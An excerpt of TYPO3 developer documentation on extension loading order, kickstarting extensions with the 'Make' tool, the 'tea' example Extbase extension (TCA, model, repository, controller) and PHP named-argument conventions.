Excerpt of EXT:my_extension/composer.json
"require": {
    "typo3/cms-felogin": "^12.4 || ^13.4"
}
Copied!

This ensures that TYPO3 loads the extension after the ext:felogin system extension.

Instead of require, extensions can also use the suggest section. Suggested extensions, if installed, are loaded before the current one — just like required ones — but without being mandatory.

A typical use case is suggesting an extension that provides optional widgets, such as for EXT:dashboard.

Classic mode installations: Loading order via ext_emconf.php

In Classic mode installations, extensions are loaded based on the order defined in the ext_emconf.php file.

For example, if an extension relies on or modifies functionality provided by the ext:felogin system extension, the dependency should be defined as follows:

EXT:my_extension/ext_emconf.php
<?php

$EM_CONF[$_EXTKEY] = [
    'title' => 'Extension extending ext:felogin',
    'state' => 'stable',
    'version' => '1.0.0',
    'constraints' => [
        'depends' => [
            'felogin' => '12.4.0-13.4.99',
        ],
        'conflicts' => [],
        'suggests' => [],
    ],
];
Copied!

This ensures that TYPO3 loads the extension after the ext:felogin system extension.

As with Composer, you can use the suggest section instead of depends. Suggested extensions, if installed, are loaded before the current one, without being strictly required.

Keeping the loading order in sync between Composer-based and Classic mode installations

If your extension supports both Composer-based and classic TYPO3 installations, you should keep dependency information consistent between the composer.json and ext_emconf.php files.

This is especially important for managing dependency constraints such as depends, conflicts, and suggests. Use the equivalent fields in composer.jsonrequire, conflict, and suggest — to ensure consistent loading behavior across both installation types.

Tutorials

Kickstart an extension

There are different options to kickstart an extension. This chapter offers tutorials for some common methods to kickstart an extension.

Components of TYPO3 extension

This section is about the essential components of a TYPO3 extension. It provides a comprehensive overview of the structure and core elements that make up an extension.

Tea in a nutshell

tea is a simple, well-tested extension based on Extbase.

This tutorial guides you through the different files, configuration formats and PHP classes needed for an Extbase extension. Automatic tests are not covered in this tutorial. Refer to the extensions manual for this topic.

Extension development with extbase

Extension Development with Extbase, a video from the TYPO3 Developer Days 2019

Kickstart an extension

There are different options to kickstart an extension. Here are some tutorials for common options:

Create an extension from scratch

  • Create a directory with the extension name
  • Create the composer.json file
  • Create the ext_emconf.php file for Classic mode installations and extensions to be uploaded to TER

Use b13/make to create an extension

Install b13/make as dev dependency and use it to quickly create a new extension. It can also support you in creating console commands, backend controllers, middlewares, and event handlers. It creates no unnecessary files as opposed to some of the other automatic extension generators.

Kickstart a TYPO3 extension with "Make"

"Make" can be used to quickly create an extension with a few basic commands on the console. "Make" can also be used to kickstart functionality like console command (CLI), backend controllers and event listeners. It does not offer to kickstart a site package or an Extbase extension.

Site package builder

The Site Package Builder can be used to conveniently create an extension containing the site package (theme) of a site. It can also be used to kickstart an arbitrary extension by removing unneeded files.

Extension Builder

The Extension Builder, friendsoftypo3/extension-builder helps you to develop a TYPO3 extension based on the domain-driven MVC framework Extbase and the templating engine Fluid.

Make

Kickstart a TYPO3 Extension with "Make"

"Make" is a TYPO3 extension provided by b13. It features a quick way to create a basic extension scaffold on the console. The extension is available for TYPO3 v10 and above.

1. Install "Make"

In Composer-based TYPO3 installations you can install the extension via Composer, you should install it as dev dependency as it should not be used on production systems:

composer req b13/make --dev
Copied!
ddev composer req b13/make --dev
Copied!

To install the extension on Classic mode installations, download it from the TYPO3 Extension Repository (TER), extension "make".

2. Kickstart an extension

Call the CLI script on the console:

vendor/bin/typo3 make:extension
Copied!
ddev exec vendor/bin/typo3 make:extension
Copied!
typo3/sysext/core/bin/typo3 make:extension
Copied!

3. Answer the prompt

"Make" will now answer some questions that we describe here in-depth:

Enter the composer package name (e.g. "vendor/awesome"):

A valid composer package name is defined in the getcomposer name scheme.

The vendor should be a unique name that is not yet used by other companies or developers.

Example: my-vendor/my-test

Enter the extension key [my_test]:
The extension key should follow the rules for best practises on choosing an extension key if you plan to publish your extension. In most cases, the default, here my_test, is sufficient. Press enter to accept the default or enter another name.
Enter the PSR-4 namespace [T3docs/MyTest]:
The namespace has to be unique within the project. Usually the default should be unique, as your vendor is unique, and you can accept it by pressing enter.
Choose supported TYPO3 versions (comma separate for multiple) [TYPO3 v11 LTS]:
If you want to support both TYPO3 v11 and v12, enter the following: 11,12
Enter a description of the extension:
A description is mandatory. You can change it later in the file composer.json of the extension.
Where should the extension be created? [src/extensions/]:
If you have a special path for installing local extensions like packages enter it here. Otherwise you can accept the default.
May we add a basic service configuration for you? (yes/no) [yes]:
If you choose yes "Make" will create a basic Configuration/Services.yaml to configure dependency injection.
May we create a ext_emconf.php for you? (yes/no) [no]:
Mandatory for extensions supporting TYPO3 v10. Starting with v11: If your extension should be installable in legacy TYPO3 installations choose yes. This is not necessary for local extensions in Composer-based installations.

4. Have a look at the result

"Make" created a subfolder under src/extensions with the composer name (without vendor) of your extension. By default, it contains the following files:

Page tree of directory src/extensions
$ tree src/extensions
└── my-test
    ├── Classes
    ├── Configuration
    |   └── Services.yaml (optional)
    ├── composer.json
    └── ext_emconf.php (optional)
Copied!

5. Install the extension

On Composer-based installations the extension is not installed yet. It will not be displayed in the Extension Manager in the backend.

To install it, open the main composer.json of your project (not the one in the created extension) and add the extension directory as new repository:

my_project_root/composer.json
{
    "name": "my-vendor/my-project",
    "repositories": {
        "0_packages": {
            "type": "path",
            "url": "src/extensions/*"
        }
    },
    "...": "..."
}
Copied!

Then require the extension on Composer-based systems, using the composer name defined in the prompt of the script:

composer req t3docs/my-test:@dev
Copied!
ddev composer req my-vendor/my-test:@dev
Copied!

Activate the extension in the Extension Manager.

6. Add functionality

The following additional commands are available to add more functionality to your extension:

Read more:

Create a new backend controller

If you do not have one yet, create a basic extension to put the controller in.

vendor/bin/typo3 make:backendcontroller
Copied!
typo3/sysext/core/bin/typo3 make:backendcontroller
Copied!

You will be prompted with a list of installed extensions. If your newly created extension is missing, check if you installed it properly.

When prompted, choose a name and path for the backend controller. The following files will be generated, new or changed files marked with a star (*):

Page tree of directory src/extensions
$ tree src/extensions
└── my-test
    ├── Classes
    |   └── Backend (*)
    |   |   └── Controller (*)
    |   |   |   └── MyBackendController.php (*)
    ├── Configuration
    |   ├── Backend (*)
    |   |   └── Routes.php (*)
    |   └── Services.yaml (*)
    ├── composer.json
    └── ext_emconf.php
Copied!

Learn how to turn the backend controller into a full-fledged backend module in the chapter Backend modules API.

Create a new console command

The "Make" extension can be used to create a new console command:

vendor/bin/typo3 make:command
Copied!
typo3/sysext/core/bin/typo3 make:command
Copied!

You will be prompted with a list of installed extensions. If your newly created extension is missing, check if you installed it properly.

Enter the command name to execute on CLI [myextension:dosomething]:
This name will be used to call the command later on. It should be prefixed with your extensions name without special signs. It is considered best practise to use the same name as for the controller, in lowercase.
Should the command be schedulable? (yes/no) [no]:
If you want the command to be available in the backend in module System > Scheduler choose yes. If it should be only callable from the console, for example if it prompts for input, choose no.

Have a look at the created files

The following files will be created or changed:

Page tree of directory src/extensions
$ tree src/extensions
└── my-test
    ├── Classes
    |   └── Command (*)
    |   |   └── DoSomethingCommand.php (*)
    ├── Configuration
    |   └── Services.yaml (*)
    ├── composer.json
    └── ext_emconf.php
Copied!

Call the new command

After a new console command was created you have to delete the cache for it to be available, then you can call it from the command line:

vendor/bin/typo3 cache:flush
vendor/bin/typo3 myextension:dosomething
Copied!
typo3/sysext/core/bin/typo3 cache:flush
typo3/sysext/core/bin/typo3 myextension:dosomething
Copied!

Next steps

You can now follow the console command tutorial and learn how to use arguments, user interaction, etc.

Tea in a nutshell

The example extension ttn/tea was created as an example of best practises on automatic code checks.

In this manual, however we will ignore the testing and just explain how this example extension works. The extension demonstrates basic functionality and is very well tested.

Steps in this tutorial:

  1. Extension configuration and installation

    Create the files needed to have a minimal running extension and install it.

  2. Directory structure

    Have a look at the directory structure of the example extension and learn which files should go where.

  3. The model

    We define a database schema and make it visible to TYPO3. Then we create a PHP class as a model of the real-life tea flavour.

  4. The Repository

    The repository helps us to fetch tea objects from the database.

  5. The controller

    The controller controls the flow of data between the view and the data repository containing the model.

Create an extension

For an extension to be installable in TYPO3 it needs a file called composer.json. You can read more about this file here: composer.json.

A minimal composer.json to get the extension up and running could look like this:

EXT:tea/composer.json
{
    "name": "ttn/tea",
    "description": "TYPO3 example extension for unit testing and best practices",
    "type": "typo3-cms-extension",
    "authors": [
        {
            "name": "Oliver Klee",
            "email": "typo3-coding@oliverklee.de",
            "homepage": "https://www.oliverklee.de",
            "role": "maintainer"
        },
        {
            "name": "Daniel Siepmann",
            "email": "coding@daniel-siepmann.de",
            "homepage": "https://daniel-siepmann.de/",
            "role": "maintainer"
        },
        {
            "name": "\u0141ukasz Uzna\u0144ski",
            "email": "lukaszuznanski94@gmail.com",
            "homepage": "https://uznanski.pl/",
            "role": "maintainer"
        }
    ],
    "homepage": "https://extensions.typo3.org/extension/tea/",
    "support": {
        "issues": "https://github.com/FriendsOfTYPO3/tea/issues",
        "source": "https://github.com/FriendsOfTYPO3/tea",
        "docs": "https://docs.typo3.org/p/ttn/tea/main/en-us/"
    },
    "require": {
        "php": "~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0",
        "psr/http-message": "^1.0.1",
        "typo3/cms-core": "^11.5.4 || ^12.4",
        "typo3/cms-extbase": "^11.5.4 || ^12.4",
        "typo3/cms-fluid": "^11.5.4 || ^12.4",
        "typo3/cms-frontend": "^11.5.4 || ^12.4"
    },
    "prefer-stable": true,
    "autoload": {
        "psr-4": {
            "TTN\\Tea\\": "Classes/"
        }
    },
    "extra": {
        "typo3/cms": {
            "extension-key": "tea"
        }
    }
}
Copied!
EXT:tea/ext_emconf.php
<?php

$EM_CONF[$_EXTKEY] = [
    'title' => 'Tea example',
    'description' => 'Example extension for unit testing and best practices',
    'version' => '3.1.0',
    'category' => 'example',
    'constraints' => [
        'depends' => [
            'php' => '7.4.0-8.3.99',
            'typo3' => '11.5.4-12.4.99',
            'extbase' => '11.5.4-12.4.99',
            'fluid' => '11.5.4-12.4.99',
            'frontend' => '11.5.4-12.4.99',
        ],
    ],
    'state' => 'stable',
    'uploadfolder' => false,
    'createDirs' => '',
    'author' => 'Oliver Klee, Daniel Siepmann, Łukasz Uznański',
    'author_email' => 'typo3-coding@oliverklee.de, coding@daniel-siepmann.de, lukaszuznanski94@gmail.com',
    'author_company' => 'TYPO3 Best Practices Team',
    'autoload' => [
        'psr-4' => [
            'TTN\\Tea\\' => 'Classes/',
        ],
    ],
    'autoload-dev' => [
        'psr-4' => [
            'TTN\\Tea\\Tests\\' => 'Tests/',
        ],
    ],
];
Copied!

With just the composer.json present (and for Classic mode installations additionally ext_emconf.php) you would be able to install the extension but it would not do anything.

Though not required it is considered best practice for an extension to have an icon. This icon should have the format .svg or .png and has to be located at EXT:tea/Resources/Public/Icons/Extension.svg.

Install the extension locally

See Extension installation.

Create a directory structure

Extbase requires a particular directory structure. It is considered best practice to always stick to this structure.

On the first level EXT:tea has the following structure:

Directory structure of EXT:tea
$ tree /path/to/extension/tea
├── Classes
├── Configuration
├── Documentation
├── Resources
├── Tests
├── composer.json
├── ext_emconf.php
├── ...
└── README.md
Copied!

Directory Classes

The Classes/ folder should contain all the PHP classes provided by the extension. Otherwise they will not be available in the default autoloading. (See documentation on the Extension folder Classes for PHP classes folder).

In the composer.json we define that all PHP classes are automatically loaded from the Classes/ directory (also defined in file:ext_emconf.php in Classic mode installations):

EXT:tea/composer.json, extract
{
    "name": "ttn/tea",
    "autoload": {
        "psr-4": {
            "TTN\\Tea\\": "Classes/"
        }
    }
}
Copied!
EXT:tea/ext_emconf.php, extract
$EM_CONF[$_EXTKEY] = [
    'autoload' => [
        'psr-4' => [
            'TTN\\Tea\\' => 'Classes/',
        ],
    ],
];
Copied!

The key of the psr-4 array, here 'TTN\\Tea\\', defines the namespace for all classes in order to be found by PSR-4 autoloading.

The Classes/ folder contains subfolders:

Directory structure of EXT:tea
$ tree path/to/extension/tea
├── Classes
    ├── Controller
    ├── Domain
    |   ├── Model
    |   └── Repository
    └──  ViewHelpers
Copied!

Extbase is based on the pattern Model-View-Controller (MVC) so we have model and controller directories.

In most cases the view is handled by classes provided by the framework and configured via templating. Therefore a view folder is not required.

Additional logic needed for the view can be provided by ViewHelpers and should be stored in the respective viewhelper folder.

Directory Configuration

See also documentation on the Extension folder Configuration folder.

The Configuration folder contains several subfolders:

Directory structure of EXT:tea
$ tree path/to/extension/tea
├── Configuration
    ├── FlexForms
    ├── TCA
    |   └── Overrides
    ├── TsConfig
    |   ├── Page
    |   └── User
    ├── TypoScript
    |   ├── constants.typoscript
    |   └── setup.typoscript
    └──  Services.yaml
Copied!
Configuration/FlexForms/
Contains the configuration of additional input fields to configure plugins using the FlexForm format.
Configuration/TCA/
Contains the TYPO3 configuration array (TCA) (PHP arrays).
Configuration/TCA/Overrides/
Can be used to extend the TCA of other extensions. They can be extended by direct array manipulation or preferably by calls to API functions.
Configuration/TsConfig/
Contains TSconfig configuration for the TYPO3 backend on page or user level in TypoScript syntax. Our extension does not contain TSconfig, so the folder is only a placeholder here.
Configuration/TypoScript/
Contains TypoScript configuration for the frontend. In some contexts the configuration contained here is also used in the backend.
Configuration/Services.yaml
Is used to configure technical aspects of the extension, including automatic wiring, automatic configuration and options for dependency injection. See also Services.yaml.

Directory Documentation/

The Documentation/ folder contains files from which documentation is rendered. See Documentation.

Directory Resources/

See also documentation on the Resources folder.

The Resources/ folder contains two sub folders that are further divided up:

Directory structure of EXT:tea
$ tree /path/to/extension/tea
├── Resources
    ├── Private
    |   ├── Language
    |   ├── Layouts
    |   ├── Partials
    |   └── Templates
    └── Public
        ├── CSS
        ├── Icons
        ├── Images
        └── JavaScript
Copied!
Resources/Private
All resource files that are not directly loaded by the browser should go in this directory. This includes Fluid templating files and localization files.
Resources/Public
All resource files that are directly loaded by the browser must go in this directory. Otherwise they are not accessible (depending on the setup of the installation).

Directory Tests/

Contains automatic tests (topic not covered by this tutorial).

Model: a bag of tea

We keep the model basic: Each tea can have a title, a description, and an optional image.

The title and description are strings, the image is stored as a relation to the model class \TYPO3\CMS\Extbase\Domain\Model\FileReference , provided by Extbase.

TCA - Table Configuration Array

Changed in version 13.0

TYPO3 creates the database scheme automatically from the TCA definition. The file ext_tables.sql can be removed on dropping TYPO3 12.4 support.

The TCA tells TYPO3 about the database model. It defines all fields containing data and all semantic fields that have a special meaning within TYPO3 (like the deleted field which is used for soft deletion).

The TCA also defines how the corresponding input fields in the backend should look.

The TCA is a nested PHP array. In this example, we need the following keys on the first level:

ctrl
Settings for the complete table, such as a record title, a label for a single record, default sorting, and the names of some internal fields.
columns
Here we define all fields that can be used for user input in the backend.
types
We only have one type of tea record, however it is mandatory to describe at least one type. Here we define the order in which the fields are displayed in the backend.

TCA ctrl - Settings for the complete table

EXT:tea/Configuration/TCA/tx_tea_domain_model_tea.php
[
    'ctrl' => [
        'title' => 'LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_tea',
        'label' => 'title',
        'tstamp' => 'tstamp',
        'crdate' => 'crdate',
        'delete' => 'deleted',
        'default_sortby' => 'title',
        'iconfile' => 'EXT:tea/Resources/Public/Icons/Record.svg',
        'searchFields' => 'title, description',
        'enablecolumns' => [
            'fe_group' => 'fe_group',
            'disabled' => 'hidden',
            'starttime' => 'starttime',
            'endtime' => 'endtime',
        ],
        'transOrigPointerField' => 'l18n_parent',
        'transOrigDiffSourceField' => 'l18n_diffsource',
        'languageField' => 'sys_language_uid',
        'translationSource' => 'l10n_source',
    ],
]
Copied!

title

Defines the title used when we are talking about the table in the backend. It will be displayed on top of the list view of records in the backend and in backend forms.

The title of the tea table.

Strings starting with LLL: will be replaced with localized text. See chapter Extension localization. All other strings will be output as they are. This title will always be output as "Tea" without localization:

EXT:tea/Configuration/TCA/tx_tea_domain_model_tea.php
[
    'ctrl' => [
        'title' => 'Tea',
    ],
]
Copied!

label

The label is used as name for a specific tea record. The name is used in listings and in backend forms:

The label of a tea record.

tstamp, deleted, ...

These fields are used to keep timestamp and status information for each record. You can read more about them in the TCA Reference, chapter Table properties (ctrl).

TCA columns - Defining the fields

All fields that can be changed in the TYPO3 backend or used in the Extbase model have to be listed here. Otherwise they will not be recognized by TYPO3.

The title field is defined like this:

EXT:tea/Configuration/TCA/tx_tea_domain_model_tea.php
[
    'columns' => [
        'title' => [
            'label' => 'LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_tea.title',
            'config' => [
                'type' => 'input',
                'size' => 40,
                'max' => 255,
                'eval' => 'trim',
                'required' => true,
            ],
        ],
    ],
]
Copied!

The title of the field is displayed above the input field. The type is a (string) input field. The other configuration values influence display (size of the input field) and or processing on saving ( 'eval' => 'trim' removes whitespace).

You can find a complete list of available input types and their properties in the TCA Reference, chapter "Field types (config > type)".

The other text fields are defined in a similar manner.

The image field

Field type File can be used to upload files. As the image should be an image, we limit the allowed file extensions to the common-image-types. See also TCA type 'file', property 'allowed'.

EXT:tea/Configuration/TCA/tx_tea_domain_model_tea.php
<?php

return [
    // ...
    'columns' => [
        'image' => [
            'label' => 'LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_tea.image',
            'type' => 'file',
            'maxitems' => 1,
            'appearance' => [
                'collapseAll' => true,
                'useSortable' => false,
                'enabledControls' => [
                    'hide' => false,
                ],
            ],
            'allowed' => 'common-image-types',
        ],
    ],
];
Copied!

TCA types - Configure the input form

EXT:tea/Configuration/TCA/tx_tea_domain_model_tea.php
[
    'types' => [
        1 => [
            'showitem' => '--div--;LLL:EXT:core/Resources/Private/Language/Form/locallang_tabs.xlf:general,
                    title, description, image, owner,
                 --div--;LLL:EXT:tea/Resources/Private/Language/locallang_db.xlf:tx_tea_domain_model_tea.tabs.access,
                    --palette--;;hidden,
                    --palette--;;access,',
        ],
    ],
]
Copied!

The key showitem lists all fields that should be displayed in the backend input form, in the order they should be displayed.

Result - the complete TCA

Have a look at the complete file EXT:tea/Configuration/TCA/tx_tea_domain_model_tea.php.

Now the edit form for tea records will look like this:

The complete input form for a tea record.

The list of teas in the module Web -> List looks like this:

A list of teas in the backend.

The Extbase model

It is a common practice — though not mandatory — to use PHP objects to store the data while working on it.

The model is a more abstract representation of the database schema. It provides more advanced data types, way beyond what the database itself can offer. The model can also be used to define validators for the model properties and to specify relationship types and rules (should relations be loaded lazily? Should they be deleted if this object is deleted?).

Extbase models extend the \TYPO3\CMS\Extbase\DomainObject\AbstractEntity class. The parent classes of this class already offer methods needed for persistence to database, the identifier uid etc.

Class TTN\Tea\Domain\Model\Tea
use TYPO3\CMS\Extbase\Annotation as Extbase;
use TYPO3\CMS\Extbase\Domain\Model\FileReference;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy;

/**
 * This class represents a tea (flavor), e.g., "Earl Grey".
 */
class Tea extends AbstractEntity
{
    /**
     * @Extbase\Validate("StringLength", options={"maximum": 255})
     * @Extbase\Validate("NotEmpty")
     */
    protected string $title = '';

    /**
     * @Extbase\Validate("StringLength", options={"maximum": 2000})
     */
    protected string $description = '';

    /**
     * @var FileReference|null
     * @phpstan-var FileReference|LazyLoadingProxy|null
     * @Extbase\ORM\Lazy
     */
    protected $image;
}
Copied!

For all protected properties we need at least a getter with the corresponding name. If the property should be writable within Extbase, it must also have a getter. Properties that are only set in backend forms do not need a setter.

Example for the property title:

Class TTN\Tea\Domain\Model\Tea
class Tea extends AbstractEntity
{
    protected string $title = '';

    public function getTitle(): string
    {
        return $this->title;
    }

    public function setTitle(string $title): void
    {
        $this->title = $title;
    }
}
Copied!

The getter for the image also has to resolve the lazy loading:

Class TTN\Tea\Domain\Model\Tea
use TYPO3\CMS\Extbase\Annotation as Extbase;
use TYPO3\CMS\Extbase\Domain\Model\FileReference;
use TYPO3\CMS\Extbase\DomainObject\AbstractEntity;
use TYPO3\CMS\Extbase\Persistence\Generic\LazyLoadingProxy;

class Tea extends AbstractEntity
{
    /**
     * @var FileReference|null
     * @phpstan-var FileReference|LazyLoadingProxy|null
     * @Extbase\ORM\Lazy
     */
    protected $image;

    public function getImage(): ?FileReference
    {
        if ($this->image instanceof LazyLoadingProxy) {
            /** @var FileReference $image */
            $image = $this->image->_loadRealInstance();
            $this->image = $image;
        }

        return $this->image;
    }

    public function setImage(FileReference $image): void
    {
        $this->image = $image;
    }
}
Copied!

See the complete class on Github: Tea.

Repository

A basic repository can be quite a short class. The shortest possible repository is an empty class inheriting from \TYPO3\CMS\Extbase\Persistence\Repository :

EXT:tea/Classes/Domain/Repository/Product/TeaRepository.php (simplified)
<?php

declare(strict_types=1);

namespace TTN\Tea\Domain\Repository\Product;

use TYPO3\CMS\Extbase\Persistence\Repository;

/**
 * @extends Repository<Tea>
 */
class TeaRepository extends Repository {}
Copied!

The model the repository should deliver is derived from the namespace and name of the repository. A repository with the fully qualified name \TTN\Tea\Domain\Repository\Product\TeaRepository therefore delivers models with the fully qualified name \TTN\Tea\Domain\Model\Product\Tea without further configuration.

A special class comment (not mandatory), @extends Repository<Tea> tells your IDE and static analytic tools like PHPStan that the find-by methods of this repository return objects of type \Tea.

The repository in the tea extension looks like this:

EXT:tea/Classes/Domain/Repository/Product/TeaRepository.php
<?php

declare(strict_types=1);

namespace TTN\Tea\Domain\Repository\Product;

use TYPO3\CMS\Extbase\Persistence\Repository;

/**
 * @extends Repository<Tea>
 */
class TeaRepository extends Repository {}
Copied!

We override the protected parameter $defaultOrderings here. This parameter is also defined in the parent class \TYPO3\CMS\Extbase\Persistence\Repository and used here when querying the database.

Then we also add a custom find-by method. See also chapter "Repository" in the Extbase reference.

Using the repository

The \TeaRepository can now be used in a controller or another class, for example a service.

Require it via Dependency Injection in the constructor:

EXT:tea/Classes/Controller/TeaController.php
<?php

declare(strict_types=1);

namespace TTN\Tea\Controller;

use Psr\Http\Message\ResponseInterface;
use TTN\Tea\Domain\Repository\Product\TeaRepository;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class TeaController extends ActionController
{
    public function __construct(private TeaRepository $teaRepository) {}

    public function indexAction(): ResponseInterface
    {
        $this->view->assign('teas', $this->teaRepository->findAll());
        return $this->htmlResponse();
    }
}
Copied!

The method $this->teaRepository->findAll() that is called here is defined in the parent class \TYPO3\CMS\Extbase\Persistence\Repository .

Controller

The controller controls the flow of data between the view and the data repository containing the model.

A controller can contain one or more actions. Each of them is a method which ends on the name "Action" and returns an object of type \Psr\Http\Message\ResponseInterface .

In the following action a tea object should be displayed in the view:

Class TTN\Tea\Controller\TeaController
use Psr\Http\Message\ResponseInterface;
use TTN\Tea\Domain\Model\Product\Tea;

class TeaController extends ActionController
{
    public function showAction(Tea $tea): ResponseInterface
    {
        $this->view->assign('tea', $tea);
        return $this->htmlResponse();
    }
}
Copied!

This action would be displayed if an URL like the following would be requested: https://www.example.org/myfrontendplugin?tx_tea[action]=show&tx_tea[controller]=tea&tx_tea[tea]=42&chash=whatever.

So where does the model Tea $tea come from? The only reference we had to the actual tea to be displayed was the ID 42. In most cases, the parent class \TYPO3\CMS\Extbase\Mvc\Controller\ActionController will take care of matching parameters to objects or models. In more advanced scenarios it is necessary to influence the parameter matching. But in our scenario it is sufficient to know that this happens automatically in the controller.

The following action expects no parameters. It fetches all available tea objects from the repository and hands them over to the view:

Class TTN\Tea\Controller\TeaController
use Psr\Http\Message\ResponseInterface;
use TTN\Tea\Domain\Repository\Product\TeaRepository;

class TeaController extends ActionController
{
    private TeaRepository $teaRepository;

    public function __construct(TeaRepository $teaRepository)
    {
        $this->teaRepository = $teaRepository;
    }

    public function indexAction(): ResponseInterface
    {
        $this->view->assign('teas', $this->teaRepository->findAll());
        return $this->htmlResponse();
    }
}
Copied!

The controller has to access the TeaRepository to find all available tea objects. We use Dependency Injection to make the repository available to the controller: The constructor will be called automatically with an initialized TeaRepository when the TeaController is created.

Both action methods return a call to the method $this->htmlResponse(). This method is implemented in the parent class ActionController and is a shorthand method to create a response from the response factory and attach the rendered content. Let us have a look at what happens in this method:

Class TYPO3\CMS\Extbase\Mvc\Controller\ActionController
use Psr\Http\Message\ResponseInterface;

abstract class ActionController implements ControllerInterface
{
    protected function htmlResponse(string $html = null): ResponseInterface
    {
        return $this->responseFactory->createResponse()
            ->withHeader('Content-Type', 'text/html; charset=utf-8')
            ->withBody($this->streamFactory->createStream(($html ?? $this->view->render())));
    }
}
Copied!

You can also use this code directly in your controller if you need to return a different HTTP header. If a different rendering from the standard view is necessary you can just pass the rendered HTML content to this method. There is also a shorthand method for returning JSON called jsonResponse().

This basic example requires no actions that are forwarding or redirecting. Read more about those concepts here: Forward to a different controller.

Making the extension installable

To make your TYPO3 extension installable, follow these steps:

Add example-extension/composer.json

Your composer.json file should contain the following essential information (for more information see composer.json):

  • Composer name (invisible in Extension Manager)
  • Composer type
  • Extension description
  • Dependencies
  • Extension key

A minimal example:

{
  "name": "vendor/example-extension",
  "description": "description for example extension",
  "type": "typo3-cms-extension",
  "require": {
    "php": "~8.2.0 || ~8.3.0",
    "typo3/cms-core": "^13.4.0",
    "typo3/cms-extbase": "^13.4.0",
    "typo3/cms-fluid": "^13.4.0",
    "typo3/cms-frontend": "^13.4.0"
  },
  "extra": {
    "typo3/cms": {
      "extension-key": "example_extension"
    }
  }
}
Copied!

Add example-extension/Resources/Public/Icons/Extension.svg

Creating a new database model

Create SQL database schema

  • Add example-extension/ext_tables.sql
  • Model the database scheme from the TCA or PHP model perspective, then check which fields still have to be added to the ext_tables regarding your TYPO3 version by comparing database model with configuration, read more here
  • Insert your SQL database schema definition into that file

    • Each entity is represented by one database table

      • Table name has the following structure: tx_{extension key without underscores}_domain_model_{entity name}
      • Each entity property is represented by one database column
CREATE TABLE tx_exampleextension_domain_model_example (
    title       varchar(255)     DEFAULT ''  NOT NULL,
    description text             DEFAULT '',
    foo_foo     tinyint(1)       DEFAULT '1'
);
Copied!

Create TCA configuration

  • Add example-extension/Configuration/TCA/{table name}.php * In the example: example-extension/Configuration/TCA/tx_exampleextension_domain_model_example.php
  • The TCA defines types, validation and backend-UI-related parameters for each entity property * See TCA Reference for further information
  • Add localization files according to Language
    • example-extension/Resources/Private/Language/locallang_db.xlf
    • example-extension/Resources/Private/Language/de.locallang_db.xlf
  • Add table icon
    • example-extension/Resources/Public/Icons/{entity name}.svg

Making data persistable by Extbase

Create an entity class and repository

  • Add example-extension/Classes/Domain/Model/{entity name}.php Inside the file create a PHP class matching the filename and extend from`TYPO3\CMS\Extbase\DomainObject\AbstractEntity` Add database columns as class properties, using type declarations matching your domain model properties * Add getter and setter for each property
  • Add example-extension/Classes/Domain/Repository/{entity name}Repository.php
    • Like with the model before, create a PHP class matching the naming schema and extend from TYPO3\CMS\Extbase\Persistence\Repository
  • Add tests according to Testing
    • Test getters and setters for entity class
    • Test find methods of repository
    • Test if test subject is an instance of the correct superclass

Extension development with Extbase

Extension Development with Extbase @ TYPO3 Developer Days 2019

PHP architecture

Writing excellent PHP code within the TYPO3 framework involves more than just correctly utilizing the framework's API: It also requires making sound decisions regarding general PHP architecture.

This chapter addresses general PHP architectural considerations and best practices, with a focus on TYPO3. It covers both overarching principles of good PHP architecture relevant to TYPO3 Core developers and best practices specifically for extension developers.

Named arguments

Named arguments, also known as “named parameters”, were introduced in PHP 8, offering a new approach to passing arguments to functions. Instead of relying on the position of parameters, developers can now specify arguments based on their corresponding parameter names:

Named arguments example
<?php
function createUser($username, $email)
{
    // code to create user
}
createUser(email: 'john.doe@example.com', username: 'john');
Copied!

This document discusses the use of named arguments within the TYPO3 Core ecosystem, outlining best practices for TYPO3 extension and Core developers regarding the adoption and avoidance of this language feature.

Named arguments in public APIs

The key consideration when using this feature is outlined in the PHP documentation:

With named parameters, the name of the function/method parameters become part of the public API, and changing the parameters of a function will be a semantic versioning breaking-change. This is an undesired effect of named parameters feature.

Utilizing named arguments in extensions

While the TYPO3 Core cannot directly enforce or prohibit the use of named arguments within extensions, it suggests certain best practices to ensure forward compatibility:

  • Named arguments should only be used for initializing value objects using PCPP (public constructor property promotion).
  • Avoid named arguments when calling TYPO3 Core API methods unless dealing with PCPP-based value objects. The TYPO3 Core does not treat variable names as part of the API and may change them without considering it a breaking change.

TYPO3 Core development

The decision on when to employ named parameters within the TYPO3 Core is carefully deliberated and codified into distinct sections, each subject to scrutiny within the Continuous Integration (CI) pipeline to ensure consistency and integrity over time.

It’s important to note that the TYPO3 Core Team will not accept patches that aim to unilaterally transition the codebase from positional arguments to named arguments or vice versa without clear further benefits.

Leveraging Named Arguments in PCPP Value Objects

Advancements in the TYPO3 Core codebase emphasize the separation of functionality and state, leading to the broad utilization of value objects. Consider the following example:

Value object using public constructor property promotion
final readonly class Label implements \JsonSerializable
{
    public function __construct(
        public string $label,
        public string $color = '#ff8700',
        public int $priority = 0,
    ) {}

    public function jsonSerialize(): array
    {
        return get_object_vars($this);
    }
}
Copied!

Using public constructor property promotions (PCPP) facilitates object initialization, representing one of the primary use cases for named arguments envisioned by PHP developers:

Instantiate a PCPP value object using named arguments
$label = new Label(
    label: $myLabel,
    color: $myColor,
    priority: -1,
);
Copied!

Objects with such class signatures MUST be instantiated using named arguments to maintain API consistency. Standardizing named argument usage allows the TYPO3 Core to introduce deprecations for argument removals seamlessly.

Invoking 2nd-party (non-Core library) dependency methods

The TYPO3 Core refrains from employing named arguments when calling library code ("2nd-party") from dependent packages unless the library explicitly mandates such usage and defines its variable names as part of the API, a practice seldom observed currently.

As package consumer, the TYPO3 Core must assume that packages don’t treat their variable names as API, they may change anytime. If TYPO3 Core would use named arguments for library calls, this may trigger regressions: Suppose a patch level release of a library changes a variable name of some method that we call using named arguments. This would immediately break when TYPO3 projects upgrade to this patch level release due to the power of semantic versioning. TYPO3 Core must avoid this scenario.

Invoking Core API

Within the TYPO3 Core, named arguments are not used when invoking its own methods. There are exceptions in specific scenarios as outlined below, however these are the reasons for not using named arguments:

  • TYPO3 Core tries to be as consistent as possible
  • Setting a good example for extension authors
